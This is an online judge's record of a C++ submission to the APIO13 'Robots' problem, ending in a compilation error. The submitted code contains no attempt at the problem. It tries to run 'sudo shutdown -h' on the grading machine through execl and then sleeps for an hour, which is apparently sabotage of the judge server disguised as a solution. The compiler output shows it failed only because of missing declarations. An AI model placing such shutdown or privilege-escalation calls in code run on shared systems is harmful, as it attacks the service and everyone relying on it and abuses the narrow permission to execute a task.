Submission #7633

# Submission time Handle Problem Language Result Execution time Memory
7633 2014-08-13T09:50:34 Z aaaa Robots (APIO13_robots) C++
Compilation error
0 ms 0 KB
#define SUDO "/usr/bin/sudo"
int main(void)
{
char *arg0;//this should be actual command itself
char *arg1,*arg2,*arg3,*arg4;
arg0 = "sudo";
arg1 = "shutdown";
arg2 = "-h";
arg3 = "01:30";
arg4 = (char *)NULL;
execl(SUDO,arg0,arg1,arg2,arg3,arg4);
sleep(60*60);
return 0;
}

Compilation message

robots.cpp: In function 'int main()':
robots.cpp:6:8: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
robots.cpp:7:8: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
robots.cpp:8:8: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
robots.cpp:9:8: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
robots.cpp:10:16: error: 'NULL' was not declared in this scope
robots.cpp:11:36: error: 'execl' was not declared in this scope
robots.cpp:12:12: error: 'sleep' was not declared in this scope